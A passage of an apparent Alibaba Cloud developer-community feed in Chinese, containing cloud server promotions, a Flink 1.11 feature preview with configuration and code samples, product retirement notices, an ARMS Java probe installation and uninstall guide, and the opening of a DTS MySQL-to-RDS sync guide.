      3.共享型S6实例,4核8G5M带宽配置,云小站价格1227.96元/年,节省金额3320.04元。

      4.计算型c6实例,4核8G5M带宽配置,云小站价格1662.12元/年,节省金额4493.88元。
      5.突发性能型t5实例,1核2G1M带宽配置,云小站价格102元/年,节省金额918.00元。
      注:阿里云小站是集阿里云服务器代金券、云产品通用代金券、数据库产品代金券、建站产品满减券、云服务器限时秒杀、新用户1折、老用户5折以及阿里云热门活动入口为一体的综合平台,一般用户可直接在云小站领券并优惠购买阿里云服务器。
      秒杀.png

      活动2:阿里云服务器精选特惠
      1.通用型g6实例,4核16G 1-10M带宽可选 2791.80元/年起。
      2.计算型c5实例,8核16G 1-10M带宽可选 4065.93元/年起。

      ]]>
      战报速递!作为阿里云的一员大将,阿里云数据库2020财年火力全开-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      5_6_3


      战报速递!


      阿里云年收入破400亿元,6年劲增31倍


      阿里巴巴科技战略开花结果,


      跻身世界顶级高科技公司。


      作为阿里云的一员大将,


      阿里云数据库也在奋勇向前。


      2020财年中我们取得了哪些突破与成就?


      产品家族又有哪些更新迭代?


      戳下图一看究竟吧!


      修改版海报.jpg ]]>
      重磅!Apache Flink 1.11 功能前瞻抢先看!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 整理 | 高赟、程鹤群
      Review | 王治江

      Flink 1.11 版本即将正式宣告发布!为满足大家的好奇与期待,我们邀请 Flink 核心开发者对 1.11 版本的功能特性进行解读与分享。Flink 1.11 在 1.10 的基础上对许多方面进行了完善和改进,并致力于进一步提高 Flink 的可用性及性能。

      本文将详细介绍 1.11 版本的新功能、改进、重要变化及未来的发展计划。更多信息可以参考相应的 FLIP 或 Jira 页面,并关注我们后续的专题直播。

      集群部署与资源管理

      在集群部署方面

      1.[FLIP-85] Flink 支持 Application Mode

      目前 Flink 是通过一个单独的客户端来创建 JobGraph 并提交作业的,在实际使用时,会产生下载作业 jar 包占用客户端机器大量带宽、需要启动单独进程(占用不受管理的资源)作为客户端等问题。为了解决这些问题,在 Flink-1.11 中提供了一种新的 Application 模式,它将 JobGraph 的生成以及作业的提交转移到 Master 节点进行。

      用户可以通过 bin/flink run-application 来使用 application 模式。目前 Application 模式支持 Yarn 和 K8s 的部署方式,Yarn Application 模式会在客户端将运行任务需要的依赖都通过 Yarn Local Resource 传递到 Flink Master,然后在 Master 端进行任务的提交。K8s Application 允许用户构建包含用户 Jar 与依赖的镜像,同时会根据 job 自动创建 TaskManager,并在结束后销毁整个 Cluster。

      2. [Flink-13938] [Flink-17632] Flink Yarn 支持远程 Flink lib Jar 缓存和使用远程 Jar 创建作业

      1.11 之前 Flink 在 Yarn 上每提交一个作业都需要上传一次 Flink lib 下的 Jars,从而耗费额外的存储空间和通信带宽。Flink-1.11 允许用户提供多个远程的 lib 目录,这些目录下的文件会被缓存到 Yarn 的节点上,从而避免不必要的 Jar 包上传与下载,使提交和启动更快:

      ./bin/flink run -m yarn-cluster -d 
      -yD yarn.provided.lib.dirs=hdfs://myhdfs/flink/lib,hdfs://myhdfs/flink/plugins 
      examples/streaming/WindowJoin.jar

      此外,1.11 还允许用户直接使用远程文件系统上的 Jar 包来创建作业,从而进一步减少 Jar 包下载的开销:

      ./bin/flink run-application -p 10 -t yarn-application 
      -yD yarn.provided.lib.dirs="hdfs://myhdfs/flink/lib" 
      hdfs://myhdfs/jars/WindowJoin.jar

      3. [Flink-14460] Flink K8s 功能增强

      在 1.11 中,Flink 对 K8s 除支持 FLIP-85 提出的 Application 模式,相比于 Session 模式,它具有更好的隔离性。

      此外,Flink 还新增了一些功能用以支持 K8s 的特性,例如 Node Selector,Label,Annotation,Toleration 等。为了更方便的与 Hadoop 集成,也支持根据环境变量自动挂载 Hadoop 配置的功能。

      4. [FLIP-111] docker 镜像统一

      之前 Flink 项目中提供了多个不同的 Dockerfile 用来创建 Flink 的 Docker 镜像,现在他们被统一到了 apache/flink-docker [1] 项目中。

      5. Flink-15911 支持分别配置用于本地监听绑定的网络接口和外部访问的地址和端口

      在部分使用场景中(例如 Docker、NAT 端口映射),JM/TM 进程看到的本地网络地址、端口,和其他进程用于从外部访问该进程的地址、端口可能是不一样的。之前 Flink 不允许用户为 TM/JM 设置不同的本地和远程地址,使 Flink 在 Docker 等使用的 NAT 网络中存在问题,并且不能限制监听端口的暴露范围。

      1.11 中为本地和远程的监听地址和端口引入了不同的参数。其中:

      • jobmanager.rpc.address
      • jobmanager.rpc.port
      • taskmanager.host
      • taskmanager.rpc.port
      • taskmanager.data.port

      用来配置远程的监听地址和端口,

      • jobmanager.bind-host
      • jobmanager.rpc.bind-port
      • taskmanager.bind-host
      • taskmanager.rpc.bind-port
      • taskmanager.data.bind-port

      用来配置本地的监听地址和端口。

      在资源管理方面

      1. [Flink-16614] 统一 JM 端内存资源配置

      Flink-1.10 中的一个大的改动是重新定义了 TM 内存模型与配置规则[2]。Flink 1.11 进一步对 JM 内存模型与配置规则进行了调整,使 JM 的内存配置方式与 TM 统一:

      图片 1.png

      具体的内存配置方式可以参考相应的用户文档[3]。

      2. [FLIP-108] 增加对扩展资源(如 GPU)的调度支持

      随着机器学习和深度学习的发展,越来越多的 Flink 作业会嵌入机器学习或深度学习模型,从而产生对 GPU 资源的需求。1.11 之前 Flink 不支持对 GPU 这样的扩展资源进行管理。为了解决这一部分,在 1.11 中,Flink 提供了对扩展资源的统一管理框架,并基于这一框架内置了对 GPU 资源的支持。

      关于扩展资源管理框架和 GPU 资源管理的进一步配置,可以参考相应的 FLIP 页面:https://cwiki.apache.org/confluence/display/FLINK/FLIP-108%3A+Add+GPU+support+in+Flink的Publlic interface 部分(相应的用户文档社区正在编写中,后续可以参考对应的用户文档)。

      3. [FLINK-16605] 允许用户限制 Batch 作业的最大 slot 数量

      为了避免 Flink Batch 作业占用过多的资源,Flink-1.11 引入了一个新的配置项:slotmanager.number-of-slots.max,它可以限定整个 Flink 集群 Slot 的最大数量。这一参数只推荐用于使用了 Blink Planner 的 Batch Table / SQL 作业。

      Flink-1.11 WEB UI 的增强

      1. [FLIP-103] 改善 Web UI 上 JM/TM 日志的展示

      之前用户只能通过 Web UI 读取 .log 和 .out 日志,但是实际上在日志目录下可能还存在着其它文件,如 GC log 等。新版界面允许用户访问日志目录下的所有日志。此外,还增加了日志重新加载、下载和全屏展示的功能。

      2. [FLIP-99] 允许展示更多的历史 Failover 异常

      之前对于单个作业,Web UI 只能展示单个 20 条历史 Failover 异常,在作业频繁 Failover 时,最开始的异常(更有可能是 root cause)很快会被淹没,从而增加排查的难度。新版的 WEB UI 支持分页展示更多的历史异常。

      图片 2.png

      3. [Flink-14816] 允许用户直接在页面上进行 Thread Dump

      Thread Dump 对一些作业的问题定位非常有帮助,1.11 之前用户必须要登录到 TM 所在机器来执行 Thread Dump 操作。1.11 的 WEB UI 集成了这一功能,它增加了 Thread dump 标签页,允许用户直接通过 WEB UI 来获得 TM 的 Thread Dump。

      图片 3.png

      Source & Sink

      1. [FLIP-27] 新的 Source API

      FLIP-27 是 1.11 中一个较大的 Feature。Flink 传统的 Source 接口存在一定的问题,例如需要为流作业和批作业分别实现不同的 Source、没有统一的数据分区发现逻辑、需要 Source 实现者自己处理加锁逻辑以及没有提供公共架构使得 Source 开发者必须要手动处理多线程等问题。这些问题增加了 Flink 中实现 Source 的难度。

      FLIP-27 引入了一套全新的 Source 的接口。这套接口提供了统一的数据分区发现和管理等功能,用户只需要集中在分区信息读取和数据读取等逻辑,而不需要再处理复杂线程同步问题,从而极大的简化了 Source 实现的负担,也为后续为 Source 提供更多内置功能提供了基础。

      2. FLINK-11395 Streaming File Sink 新增对 Avro 和 ORC 格式的支持

      对于常用的 StreamingFileSink,1.11 新增了对 Avro 和 ORC 两种常用文件格式的支持。

      Avro:

      stream.addSink(StreamingFileSink.forBulkFormat(
         Path.fromLocalFile(folder),
         AvroWriters.forSpecificRecord(Address.class)).build());

      ORC:

      OrcBulkWriterFactory<Record> factory = new OrcBulkWriterFactory<>(
              new RecordVectorizer(schema), writerProps, new Configuration());
      Stream.addSink(StreamingFileSink
            .forBulkFormat(new Path(outDir.toURI()), factory)
            .build());

      State 管理

      1. [FLINK-5763] 修改 Savepoint 的文件结构,使 Savepoint 可以自包含和移动

      Flink-1.11 将 Savepoint 中的文件绝对路径替换为相对路径,从而使用户可以直接移动 Savepoint 的位置,而不需要再手动修改 meta 中的路径(注:在 S3 文件系统中启用 Entropy Injection 后不支持该功能)。

      2. [FLINK-8871] 增加 Checkpoint 失败的回调并通知 TM 端

      Flink 1.11之前提供了Checkpoint成功的通知。在1.11中新增了Checkpoint失败时通知TM端的机制,一方面可以取消正在进行中的Checkpoint,另外用户通过CheckpointListener新增的notifyCheckpointAborted接口也可以收到对应的通知。

      3. [FLINK-12692] heap keyed Statebackend 支持溢出数据到磁盘

      (该功能实际并未合并到 Flink 1.11 代码,但是用户可以从 https://flink-packages.org/packages/spillable-state-backend-for-flink下载试用。)

      对于 Heap Statebackend,由于它将 state 直接以 Java 对象的形式维护,因此它可以获得较好的性能。但是,之前它 Heap State backend 占用的内存是不可控的,因引可以导致严重的 GC 问题。

      为了解决这一问题,SpillableKeyedStateBackend 支持将数据溢出到磁盘,从而允许 Statebackend 限制所使用的内存大小。关于 SpillableKeyedStateBackend 的更多信息,可以参考 https://flink-packages.org/packages/spillable-state-backend-for-flink

      4. [Flink-15507] 对 Rocksdb Statebackend 默认启用 Local Recovery

      默认启用 Local Recovery 后可以加速 Failover 的速度。

      5. 修改 state.backend.fs.memory-threshold 参数默认值到 20k

      (这部分工作还在进行中,但是应该会包含在 1.11 中)

      state.backend.fs.memory-threshold 决定了 FS Statebackend 中什么时候需要将 State 数据写出去内存中。之前默认的 1k 在许多情况下会导致大量小文件的问题并且会影响 State 访问的性能,因此在 1.11 中该值被提高到了 20k。需要特别注意的是,这一改动可能会提高JM内存的使用量,尤其是在算子并发较大或者使用了UnionState的情况下。[4]

      Table & SQL

      1. [FLIP-65] 优化 Table API UDF 中的类型推断机制

      相对于之前的类型推断机制,新版的类型推断机制可以提供关于输入参数的更多类型信息,从而允许用户实现更灵活的处理逻辑。目前这一功能提供了对 UDF 和 UTF 的支持,但暂时还不支持 UDAF。

      2. [FLIP-84] 优化 TableEnvironment 的接口

      Flink-1.11 对于 TableEnv 在以下方面进行了增强:

      1. 以前 sqlUpdatec 对于 DDL 和 DML 的行为不同一,前者会立刻执行,后者则需要等到 env.execute 时执行。1.11 统一为 env.executeSql 的时候执行。
      2. 提供了对需要返回结果的查询的支持,如 show table, explain sql 等。
      3. 提供了对缓存多条SQL语句执行的支持。
      4. 新增了collect方法允许用户获得查询执行结果

      3. [FLIP-93] 支持基于 JDBC 和 Postgres的Catalog

      1.11 之前用户使用Flink读取/写入关系型数据库或读取 Change Log 时,需要手动将数据库的表模式复制到 Flink 中。这一过程枯燥乏味且容易错,从而较大的的提高了用户的使用成本。1.11 提供了基于 JDBC 和 Postgres 的 Catalog 管理,使 Flink 可以自动读取表模式,从而减少了用户的手工操作。

      4. [FLIP-105] 增加对 ChangeLog 源的支持

      通过 Change Data Capture 机制(CDC)来将外部系统的动态数据(如 Mysql BinLog,Kafka Compacted Topic)导入 Flink,以及将 Flink 的 Update/Retract 流写出到外部系统中是用户一直希望的功能。Flink-1.11 实现了对 CDC 数据读取和写出的支持。目前 Flink 可以支持 Debezium 和 Canal 两种 CDC 格式。

      5. [FLIP-95] 新的 TableSource 和 TableSink 接口

      简化了当前 Table Source/Sink 的接口结构,为支持 CDC 功能提供了基础,避免了对 DataStream API 的依赖以及解决只有 Blink Planner 可以支持高效的 Source/Sink 实现的问题。

      更具体接口变化可以参考:

      https://cwiki.apache.org/confluence/display/FLINK/FLIP-95%3A+New+TableSource+and+TableSink+interfaces

      6. [FLIP-122] 修改 Connector 配置项

      FLIP-122 重新整理了 Table/SQL Connector 的”With”配置项。由于历史原因,With 配置项有一些冗余或不一致的地方,例如所有的配置项都以 connector. 开头以及不同的配置项名称模式等。修改后的配置项解决了这些冗余和不一致的问题。(需要强调的是,现有的配置项仍然可以正常使用)。

      关于新的配置项的列表,可以参考:

      https://cwiki.apache.org/confluence/display/FLINK/FLIP-122%3A+New+Connector+Property+Keys+for+New+Factory

      7. [FLIP-113] Flink SQL 支持动态 Table 属性

      动态 Table 属性允许用户在使用表时动态的修改表的配置项,从而避免用户由于配置项变化而需要重新声明表的 DDL 的麻烦。如下所示,动态属性允许用户在执行查询时通过 /+ OPTIONS(‘k1’=’v1’)/ 的语法来覆盖 DDL 中的属性值。

      SELECT *
      FROM
        EMP /*+ OPTIONS('k1'='v1', 'k2'='v2') */
        JOIN
        DEPT /*+ OPTIONS('a.b.c'='v3', 'd.e.f'='v4') */
      ON
        EMP.deptno = DEPT.deptno

      8. [FLIP-115] 增加 Flink SQL 对 Hive 的支持

      1. 对于 FileSystem Connector 提供了对 csv/orc/parquet/json/avro 五种格式的支持,以及对 Batch 和 Streaming FileSystem Connector 的完整支持。
      2. 提供了对 Hive Streaming Sink 的支持。

      9. [FLIP-123] 支持兼容 Hive 的 DDL 和 DML 语句

      FLIP-123 提供了对 Hive 方言的支持,它使用户可以使用 Hive 的 DDL 和 DML 来进行操作。

      DataStream API

      1.[FLINK-15670] Kafka Shuffle: 使用Kafka作业消息总线提供算子之间同时交换和存储数据的机制

      Flink Kafka Shuffle提供了DataStream API来使用Kafka作为链接算子之间的消息总线,并且可以同时交换和存储数据的机制。这种做法的好处是:

      1. shuffle的数据可以复用。
      2. 在Job做failure recovery的时候以persisted的数据为分割避免全图重启,同时仍能保持exactly once语意。

      这种机制可以作为Flink正在进行的Failover重构完成前,大规模streaming job failure recovery的一个补充 。

      2. [FLIP-126] 优化 Source 的 WatermarkAssigner 接口

      (注意这部分工作已经完成,但是是否要包括在 1.11 中仍在讨论中)

      新的 WatermarkAssigner 接口将之前的 AssignerWithPunctuatedWatermarks 和 AssignerWithPeriodicWatermarks 的两类 Watermark 的接口进行了整合,从而简化了后续开发支持插入 Watermark 的 Source 实现复杂度。

      3. [FLIP-92] 支持超过两个输入的 Operator

      Flink 1.11 提供了对多输入 Operator 的支持。但是,目前这一功能并没有提供完整的 DataStream API 的接口,用户如果想要使用的话,需要通过手动创建 MultipleInputTransformation 与 MultipleConnectedStreams 的方式进行:

      MultipleInputTransformation<Long> transform = new MultipleInputTransformation<>(
         "My Operator",
         new SumAllInputOperatorFactory(),
         BasicTypeInfo.LONG_TYPE_INFO,
         1);
      
      env.addOperator(transform
         .addInput(source1.getTransformation())
         .addInput(source2.getTransformation())
         .addInput(source3.getTransformation()));
      
      new MultipleConnectedStreams(env)
         .transform(transform)
         .addSink(resultSink);

      PyFlink & ML

      1. [FLINK-15636] 在 Flink Planner 的 batch 模式下支持 Python UDF 的运行

      在此之前,Python UDF 可以运行在 Blink Planner 的流、批和 Flink Planner 的流模式下。支持后,两个 Planner 的流批模式都支持 Python UDF 的运行。

      2. [FLINK-14500] Python UDTF 的支持

      UDTF 支持单条写入多条输出。两个 Planner 的流批模式都支持 Python UDTF 的运行。

      3. [FLIP-121] 通过 Cython 来优化 Python UDF 的执行效率

      用 Cython 优化了 Coder(序列化、反序列化)和 Operation 的计算逻辑,端到端的性能比 1.10 版本提升了数十倍。

      4. [FLIP-97] Pandas UDF 的支持

      Pandas UDF 以 pandas.Series 作为输入和输出类型,支持批量处理数据。一般而言,Pandas UDF 比普通 UDF 的性能要更好,因为减少了 Java 和 Python 进程之间数据交互的序列化和反序列化开销,同时由于可以批量处理数据,也减少了 Python UDF 调用次数和调用开销。除此之外,用户使用 Pandas UDF 时,可以更方便自然地使用 Pandas 相关的 Python 库。

      5. [FLIP-120] 支持 PyFlink Table 和 Pandas DataFrame 之间的转换

      用户可以使用 Table 对象上的 to_pandas() 方法返回一个对应的 Pandas DataFrame 对象,或通过 from_pandas() 方法将一个 Pandas DataFrame 对象转换成一个 Table 对象。

      import pandas as pd
      import numpy as np
      
      # Create a PyFlink Table
      pdf = pd.DataFrame(np.random.rand(1000, 2))
      table = t_env.from_pandas(pdf, ["a", "b"]).filter("a > 0.5")
      
      # Convert the PyFlink Table to a Pandas DataFrame
      pdf = table.to_pandas()

      6. [FLIP-112] 支持在 Python UDF 里定义用户自定义 Metric

      目前支持 4 种自定义的 Metric 类型,包括:Counter, Gauges, Meters 和 Distributions。同时支持定义 Metric 相应的 User Scope 和 User Variables。

      7. FLIP-106 在 SQL DDL 和 SQL client 里支持 Python UDF 的使用

      在此之前,Python UDF 只能在 Python Table API 里使用。支持 DDL 的方式注册 Python UDF 后,SQL 用户也能方便地使用 Python UDF。除此之外,也对 SQL Client 进行了 Python UDF 的支持,支持 Python UDF 注册及对 Python UDF 的依赖进行管理。

      8. [FLIP-96] 支持 Python Pipeline API

      Flink 1.9 里引入了一套新的 ML Pipeline API 来增强 Flink ML 的易用性和可扩展性。由于 Python 语言在 ML 领域的广泛使用,FLIP-96 提供了一套相应的 Python Pipeline API,以方便 Python 用户。

      运行时优化

      1. [FLIP-76] 支持 Unaligned Checkpoint

      Flink 现有的 Checkpoint 机制下,每个算子需要等到收到所有上游发送的 Barrier 对齐后才可以进行 Snapshot 并继续向后发送 barrier。在反压的情况下,Barrier 从上游算子传送到下游可能需要很长的时间,从而导致 Checkpoint 超时的问题。

      针对这一问题,Flink 1.11 增加了 Unaligned Checkpoint 机制。开启 Unaligned Checkpoint 后当收到第一个 barrier 时就可以执行 checkpoint,并把上下游之间正在传输的数据也作为状态保存到快照中,这样 checkpoint 的完成时间大大缩短,不再依赖于算子的处理能力,解决了反压场景下 checkpoint 长期做不出来的问题。

      可以通过 env.getCheckpointConfig().enableUnalignedCheckpoints();开启unaligned Checkpoint 机制。

      2. [FLINK-13417] 支持 Zookeeper 3.5

      支持 Flink 与 ZooKeeper 3.5 集成。这将允许用户使用一些新的 Zookeeper 功能,如 SSL 等。

      3. [FLINK-16408] 支持 Slot 级别的 Classloder 复用

      Flink 1.11 修改了 TM 端 ClassLoader 的加载逻辑:与之前每次 Failover 后都会创建新的 ClassLoader 不同,1.11 中只要有这个作业占用的 Slot,相应的 ClassLoader 就会被缓存。这一修改对作业 Failover 的语义有一定的影响,因为 Failover 后 Static 字段不会被重新加载,但是它可以避免大量创建 ClassLoader 导致 JVM meta 内存耗尽的问题。

      4. [FLINK-15672] 升级日志系统到 log4j 2

      Flink 1.11 将日志系统 Log4j 升级到 2.x,从而可以解决 Log4j 1.x 版本存在的一些问题并使用 2.x 的一些新功能。

      5. [FLINK-10742] 减少 TM 接收端的数据拷贝次数和内存占用

      Flink-1.11 在下游网络接收数据时,通过复用 Flink 自身的 buffer 内存管理,减少了 netty 层向 Flink buffer 的内存拷贝以及因此带来的 direct memory 的额外开销,从而减少了线上作业发生 Direct Memory OOM 或者 Container 因为内存超用被 Kill 的机率。

      以上为 Flink 1.11 新版功能前瞻的解读,后续社区将持续安排相关内容的技术分享哦~

      参考资料:

      [1]https://github.com/apache/flink-docker

      [2]https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/memory/mem_setup.html

      [3]https://ci.apache.org/projects/flink/flink-docs-master/ops/memory/mem_setup_master.html

      [4]https://lists.apache.org/thread.html/r194671ce27360eeeb0d3110ea7f35e214ba8f7a04fdf28efd3123ae2%40%3Cdev.flink.apache.org%3E

      ]]>
      【其他】5月26日RDS SQL Server 2008R2慢日志功能下线通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【RDS SQL Server 2008R2慢日志功能】【下线通知】

      下线时间:北京时间2020年05月26日 00:00 - 00:00

      下线内容:RDS SQL Server 2008R2版本慢日志功能下线

      下线影响:RDS SQL Server 2008R2实例客户将无法继续使用慢日志功能,建议您开启审计日志功能来进行日志数据分析。

      ]]>
      【其他】CoreOS操作系统生命周期终止通知 Fri, 02 May 2025 09:39:04 +0800

      根据Fedora/CoreOS社区的公告,CoreOS Container Linux将于2020年5月26日停止提供更新。自2020年5月26日起,阿里云将不再为CoreOS Container Linux提供技术协助,但不影响您已安装该操作系统的ECS实例的继续使用。在2020 年 9 月 30 日之前,您依然可以从阿里云获得CoreOS Container Linux镜像。在此之后,您将无法使用阿里云提供的CoreOS Container Linux公共镜像创建新的ECS实例。

      虽然已安装的CoreOS Container Linux在2020年5月26日后仍可继续使用,但是由于该操作系统已经结束生命周期,不会继续提供安全补丁,出于安全因素的考虑,阿里云不推荐您继续使用CoreOS Container Linux镜像。Fedora/CoreOS社区推荐使用Fedora CoreOS操作系统作为CoreOS Container Linux的替代,阿里云也将在近期上线Fedora CoreOS公共镜像,请您关注。

      ]]>
      【其他】旧版DDoS高防下线通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】旧版DDoS高防】【产品下线停服

      停服时间:

      北京时间2020年6月1日零点后旧版DDoS高防产品停止续费服务;

      北京时间2020年9月1日零点后旧版DDoS高防产品停止业务流量转发服务

      停服产品:旧版DDoS高防,包含电信+联通、电信+联通+老BGP、老BGP、非中国内地单机房清洗线路等旧版DDoS高防产品形态

      停服影响:本次计划旧版DDoS高防产品在上述时间点停止续费和业务流量转发服务。如果您当前使用的是上述旧版DDoS高防产品,请工单联系我们进行咨询反馈 ,我们将协助您将业务切换到网络质量、防护能力和容灾能力更好的新BGP高防或国际高防。切换过程可以做到业务无损切换,无需额外费用。如果您已经在使用新BGP高防或国际高防,请忽略本次公告内容。

      ]]>
      【其他】6月20日块存储服务升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【块存储】【升级通知】

      为了进一步优化云盘用户体验与服务质量。阿里云块存储服务自2020年6月20日起,全面提供磁盘序列号查询功能。授权的用户可通过API或者在操作系统内部查询每块云盘的序列号(SerialNumber)。详细查询方法可参见官网文档

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      为ECS中的应用快速安装探针_开始监控部署在 ECS 实例中的应用_开始监控 Java 应用_应用监控_应用实时监控服务 ARMS-阿里云 Fri, 02 May 2025 09:39:04 +0800 为ECS中的应用快速安装探针

      更新时间:2020-05-22 17:48:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      借助ARMS应用监控,您可以对云服务器ECS上的应用进行应用拓扑、接口调用、异常事务和慢事务、SQL分析等监控。ARMS与ECS进行了数据联通,通过在ARMS控制台上简单操作即可快速为同阿里云账户下的ECS中的应用安装探针。

      说明 目前ARMS控制台暂不显示ECS应用探针安装方式,如果您需要为ECS中的应用安装探针,请联系ARMS钉钉服务账号:arms160804。

      前提条件

      • 确保您使用的公网服务器安全组已开放8442、8443、8883三个端口的TCP公网出方向权限,VPC内不需要开通。为阿里云ECS开放出方向权限,请参见添加安全组规则

        说明 ARMS不仅可接入阿里云ECS上的应用,还能接入其他能访问公网的服务器上的应用。

      • 确保您使用的第三方组件或框架在应用监控兼容性列表范围内,请参见应用监控兼容性列表
      • 您已经在要部署应用的地域下购买ECS,并成功部署应用。

      操作步骤

      1. 登录ARMS控制台
      2. 在左侧导航栏中选择应用监控 > 应用列表
      3. 应用列表页面顶部选择目标地域,在右上角单击接入应用
      4. 接入应用页面选择使用语言为Java,选择使用环境为云服务器ECS

        Access Agent

      5. 首次接入时需要先进行ARMS访问ECS授权,请使用主账号完成授权。

        1. 在弹出的提示框中单击进入RAM进行授权

          RAM Authorization
        2. 云资源访问授权页面选中AliyunARMSAccessingECSRole权限后单击同意授权
          Aliyun Access Authorization
        3. 同步ECS页面单击确定同步

          Synchronous ECS
        4. 关闭同步ECS页面,完成授权。

        授权成功后,新接入应用页面中将显示此账号下所有ECS实例。

      6. 请选择您要安装探针的应用区域单击目标ECS实例操作列的安装探针,并在弹出的提示对话框中单击确认

        Install Agent

        在ECS上安装探针成功后,ARMS将获取此ECS上的所有进程信息并显示在目标ECS实例下方的进程列表中。

        Process List

        说明 若成功安装探针后,ECS进程信息不准确,请单击ECS实例左侧的-, 然后单击+刷新信息。若探针安装失败,处理方法请参见常见问题

      7. 探针安装成功后,在下方的弹框中编辑目标进程的应用名称,然后单击操作列的启用应用监控

        Process List

        说明 当多个进程的应用名称相同时,表现为一个监控任务下的多个实例。

        约一分钟后,若您的应用出现在应用列表中且有数据上报,则说明接入成功。

      卸载探针

      1. 当您不需要使用ARMS监控您的Java应用时,执行jps -l命令查看所有进程,并在执行结果中找到com.alibaba.mw.arms.apm.supervisor.daemon.Daemon对应的进程号。

        在本示例中,com.alibaba.mw.arms.apm.supervisor.daemon.Daemon对应的进程号为:62857。Kill Process

      2. 执行命令kill -9 <进程号>。例如:kill -9 62857
      3. 执行rm -rf /.arms /root/.arms
      4. 重启您的应用。

      常见问题

      探针安装失败怎么处理?

      1. 确保您的ECS可以访问所在地域的探针下载链接。

        首先确保ECS可以访问外网,且能够访问所在地域的探针下载链接。
        # 杭州地域
        http://arms-apm-hangzhou.oss-cn-hangzhou.aliyuncs.com/install.sh
        # 上海地域
        http://arms-apm-shanghai.oss-cn-shanghai.aliyuncs.com/install.sh
        # 青岛地域
        http://arms-apm-qingdao.oss-cn-qingdao.aliyuncs.com/install.sh
        # 北京地域
        http://arms-apm-beijing.oss-cn-beijing.aliyuncs.com/install.sh
        # 深圳地域
        http://arms-apm-shenzhen.oss-cn-shenzhen.aliyuncs.com/install.sh
        # 中国香港地域
        http://arms-apm-hongkong.oss-cn-hongkong.aliyuncs.com/install.sh
        # 新加坡地域
        http://arms-apm-ap-southeast.oss-ap-southeast-1.aliyuncs.com/cloud_ap-southeast-1/install.sh
        # 日本地域
        http://arms-apm-japan.oss-ap-northeast-1.aliyuncs.com/install.sh
        # 美西地域
        http://arms-apm-usw.oss-us-west-1.aliyuncs.com/install.sh           

      2. 确保您的ECS可以访问ARMS控制台。

        #中国
        https://arms.console.aliyun.com/
        
        #新加坡
        https://arms-ap-southeast-1.console.aliyun.com

      3. 登录ECS控制台,并完成以下检查工作。

        1. 在左侧导航栏中选择运维与监控 > 云助手
        2. 云助手页面的搜索框中选择命令名称,并输入InstallJavaAgent

          若查找结果不存在,请联系ARMS钉钉服务账号:arms160804。

          Cloud Assistant
        3. 云助手页面的执行记录页签的搜索框中输入InstallJavaAgent命令对应的ID,在查找结果中单击该记录右侧操作列的查看结果,查看InstallJavaAgent命令是否执行成功。若未执行成功,根据详细执行结果排查问题(如ECS磁盘满、未安装Java Agent等问题,可以通过清理磁盘或安装Java Agent解决),若不能解决请将详细执行结果反馈给ARMS钉钉服务账号:arms160804。
          Execution Record

      更改应用名称

      在您为ECS中的应用快速安装探针后,如果因为某些原因希望更改应用名称,例如忘记将示例应用名称Java-Demo修改为自定义名称,那么您需要将探针卸载之后,使用手动方式为JAVA应用安装探针,然后再修改应用名称,详情请参见为Java应用手动安装探针

      更多信息

      不是您要找的文档?鼠标悬浮在这里试一试。

      开始监控:按应用部署环境

      EDAS

      ECS实例

      阿里云容器服务K8s集群

      开源K8s集群

      Docker集群

      其他环境(如自建IDC)

      开始监控:按应用语言

      开始监控Java应用

      开始监控PHP应用

      开始监控Go应用 *

      开始监控Node.js应用 *

      开始监控 .NET应用 *

      开始监控C++ 应用 *

      * 需开通链路追踪Tracing Analysis服务。

      ]]> 从ECS上的自建MySQL同步至RDS MySQL_MySQL同步至MySQL_数据同步_RDS MySQL 数据库_云数据库 RDS-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的自建MySQL同步至RDS MySQL

      更新时间:2020-05-15 11:20:17

      本页目录

      数据传输服务DTS(Data Transmission Service)支持ECS上的自建MySQL同步至RDS MySQL实例,实现增量数据的实时同步。

      前提条件

      • 自建MySQL数据库版本为5.1、5.5、5.6、5.7或8.0版本。
      • 数据同步的目标RDS实例已存在,RDS实例创建方法请参见创建RDS实例

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的读写资源,可能会导致数据库的负载上升,在数据库性能较差、规格较低或业务量较大的情况下(例如源库有大量慢SQL、存在无主键表或目标库存在死锁等),可能会加重数据库压力,甚至导致数据库服务不可用。因此您需要在执行数据同步前评估源库和目标库的性能,同时建议您在业务低峰期执行数据同步(例如源库和目标库的CPU负载在30%以下)。
      • 如果同步对象为单个或多个表(非整库),那么在数据同步时,请勿对源库的同步对象使用gh-ost或pt-online-schema-change等类似工具执行在线DDL变更,否则会导致同步失败。

        注意 为避免同步失败,数据同步期间您可以使用数据管理DMS(Data Management Service)来执行在线DDL变更,详情请参见不锁表结构变更

      • 暂不支持中国(香港)可用区A的RDS MySQL实例配置数据同步。
      • RDS MySQL实例必须具备内网地址。
      • 如果源数据库没有主键或唯一约束,且所有字段没有唯一性,可能会导致目标数据库中出现重复数据。
      • 全量初始化过程中,并发insert导致目标实例的表碎片,全量初始化完成后,目标实例的表空间比源实例的表空间大。

      支持的同步架构

      • 一对一单向同步
      • 一对多单向同步
      • 多对一单向同步
      • 级联单向同步
      • 一对一双向同步

        说明 如需实现双向同步,请参见RDS MySQL实例间的双向同步

      支持同步的SQL操作

      操作类型 SQL操作语句
      DML INSERT、UPDATE、DELETE、REPLACE
      DDL
      • ALTER TABLE、ALTER VIEW
      • CREATE FUNCTION、CREATE INDEX、CREATE PROCEDURE、CREATE TABLE、CREATE VIEW
      • DROP INDEX、DROP TABLE
      • RENAME TABLE
      • TRUNCATE TABLE

      功能限制

      • 不兼容触发器

        当同步对象为整个库,且库中的触发器(TRIGGER)会更新库内某个表时,可能导致源和目标库的数据不一致。相关解决方案请参见源库存在触发器时如何配置同步作业

      • RENAME TABLE限制

        RENAME TABLE操作可能导致同步数据不一致。例如同步对象只包含表A,如果同步过程中源实例将表A重命名为表B,那么表B将不会被同步到目标库。为避免该问题,您可以在数据同步配置时,选择同步表A和表B所在的整个数据库作为同步对象。

      准备工作

      在正式配置数据同步作业之前,您需要为自建MySQL创建账号并设置binlog

      操作步骤

